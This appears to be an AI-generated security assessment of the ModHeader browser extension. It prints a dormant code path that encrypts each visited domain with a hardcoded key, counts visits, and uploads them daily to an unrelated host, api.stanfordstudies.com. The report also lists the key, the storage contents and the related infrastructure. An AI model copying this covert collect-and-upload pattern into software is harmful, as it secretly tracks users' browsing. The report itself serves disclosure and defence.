Is ModHeader - Modify HTTP headers safe?
ModHeader is high risk. A code path encrypts each visited domain with a built-in key and counts visits in local IndexedDB. Daily, counters are re-encrypted and POSTed to api.stanfordstudies.com/app/log, unrelated and unlisted, gated behind an empty allow-list.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Per-domain browsing counts uploaded to api.stanfordstudies.com
A code path encrypts each visited domain with a built-in key and counts visits in local IndexedDB.
Daily, counters are re-encrypted and POSTed to api.stanfordstudies.com/app/log, unrelated and unlisted, gated behind an empty allow-list.
You navigate to any web page.
Works on every site, the header-modification feature you installed the extension for does not need to be active.
The extension reduces the page to its domain, encrypts it with a built-in key, and increments a stored visit counter, later uploading the set to api.stanfordstudies.com.
In the shipped build this path is guarded by an allow-list array that is empty, so the counting does not run until that array is populated. The destination, the encryption key, and the upload logic are all present in the shipped code.
The collect-and-upload path, from the shipping service worker.
// Destination, empty allow-list, and salt are module-level constants.
const UPLOAD_URL = "https://api.stanfordstudies.com/app/log";
const ALLOW_LIST = []; // ships EMPTY -> path is dormant
const SALT = "mod\u76d0header"; // \u76d0 = Chinese character for "salt"
// Runs on every navigation, once per tab load.
async function onNavigation(tabId, changeInfo, tab) {
try {
const browser = detectBrowser(); // 'chrome' | 'edge' | 'firefox' | 'other'
// Guard: only proceed if this browser is on the allow-list AND the tab is loading.
// ALLOW_LIST is [], so indexOf(...) === -1 is ALWAYS true -> always returns here.
if (ALLOW_LIST.indexOf(browser) === -1 || changeInfo.status !== "loading") return;
const url = changeInfo.url || tab.url;
if (!url) return;
await countDomain(url);
} catch (e) {}
}
chrome.tabs.onUpdated.addListener(onNavigation);// Encrypts the visited domain and bumps its counter in IndexedDB.
async function countDomain(url) {
const domain = new URL(url).host; // e.g. 'mail.google.com'
if (domain === globalThis.lastChangeDomain) return; // de-dupe repeat hits
globalThis.lastChangeDomain = domain;
const { settingsDB, domainDB, fp, aesIv } = await openStores();
const encDomain = await AesGcm.encrypt(KEY, domain, aesIv); // key is built in
const current = await domainDB.get(encDomain, 0);
await domainDB.put(encDomain, current + 1); // encrypted-domain -> visit count
await maybeUpload(domainDB, settingsDB, aesIv);
}// The AES-256-GCM key is hardcoded and imported once at startup.
KEY = await AesGcm.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
// Sends the encrypted counter blob to the upload endpoint.
async function upload(encBlob, retries = 2) {
const body = { data: encBlob, fp: globalThis.fp, browser: detectBrowser() };
try { return await postJson(UPLOAD_URL, body, retries); }
catch (e) { return false; }
}
// Runs after each counter bump; uploads at most ~once/day within a per-install window.
async function maybeUpload(domainDB, settingsDB, aesIv) {
const reason = await dueForUpload(domainDB, settingsDB); // day-boundary / 1000-cap check
if (!reason || (reason !== "uploadToNow" && !await withinDailyJitterWindow())) return;
const map = {};
await domainDB.cursor((k, v) => { map[k] = v; }); // { encDomain: count, ... }
const encBlob = await AesGcm.encrypt(KEY, JSON.stringify(map), aesIv);
const ok = await upload(encBlob, 2);
if (ok) { await settingsDB.put("lastUploadDate", new Date()); await domainDB.clear(); }
}The upload body's data field is url-safe base64 of an AES-256-GCM ciphertext, so it is unreadable in transit. Because the key is built into the extension, the same bytes can be decrypted back to the counter map. Two passes are needed: the outer blob decrypts to a JSON object whose keys are themselves encrypted domains, and each key decrypts to a plain hostname. The values below are illustrative, reconstructed from the code path, since the endpoint was not contacted during dynamic analysis.
{
"github.com": 42,
"mail.google.com": 118,
"stackoverflow.com": 27,
"news.ycombinator.com": 9,
"chase.com": 3,
"internal.acme-corp.example": 14
}| Field | Value | Why it matters | |
|---|---|---|---|
Your per-site visit counts | { "mail.google.com": 118, "chase.com": 3 } (encrypted on the wire) | An encrypted list of every domain you visited and how many times, since the last upload. Reveals the sites you use and how often. | |
Your install identifier | b1f9c2a7d4e83f60a15c9b2e7d0f4a8c3e6b1d9f2a4c7e0b3d6f9a2c5e8b1d4f7 | Derived by hashing the extension's install time. Stays constant, so every upload from one browser can be linked together. | |
Your browser type | chrome | Which browser family you are using, Chrome, Edge, Firefox, or other. |
'temp' holds encrypted-domain visit counts, capped at 1,000. 'settings' holds install ID, IV, last-upload date. 'temp' clears each upload.
IndexedDB databases 'temp' (object store 'temp') and 'settings' (object store 'settings')// 'temp' database — one row per visited domain (key = encrypted host, value = count)
{
"kYcV0aXsWdYf...b1d4f7": 42, // github.com
"pL0aQwErTyUi...oP0aQw": 118, // mail.google.com
"nM1q2w3e4r5t...6y7u8i": 27 // stackoverflow.com
}
// 'settings' database — collection state and identifiers
{
"fp": "b1f9c2a7d4e83f60a15c9b2e7d0f4a8c3e6b1d9f2a4c7e0b3d6f9a2c5e8b1d4f7",
"aesIv": "<12 random bytes, reused as the AES-GCM IV>",
"lastUploadDate": "2026-07-12T22:41:07.000Z",
"maxDomainCountUpload": false,
"uploadRecord": { "7/12/2026, 10:41:07 PM": true }
}Uploads run at most about once per day. After the day boundary passes, the code still waits until a per-install time window before sending: it hashes the install identifier plus a fixed salt and maps the result to a point roughly 7 to 15 hours into the day, so different installs upload at different times rather than all at once. Reaching the 1,000-domain cap forces an upload regardless of the daily window.
- api.stanfordstudies.com
Receives the encrypted per-domain visit map plus the install identifier and browser type, via POST to /app/log. Unrelated to the extension's stated header-modification function.
- devos.stanfordstudies.com
Supporting infrastructure on the same registered domain, an OpenSearch service hosted in AWS us-east-2 (observed at 3.147.61.167).
- devlog.stanfordstudies.com
Supporting logging infrastructure on the same registered domain.
What it can do
Permissions this extension asks for, as declared in version 7.0.14. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 7.0.18, which we have not unpacked yet.
Read and change your data on every site you visit
<all_urls>
Schedule its own background tasks
alarms
Add items to the right-click menu
contextMenus
Store data in your browser
storage
Watch every request your browser makes
webRequest
Block and redirect the requests your browser makes
declarativeNetRequest
Run its own code inside the pages you visit
scripting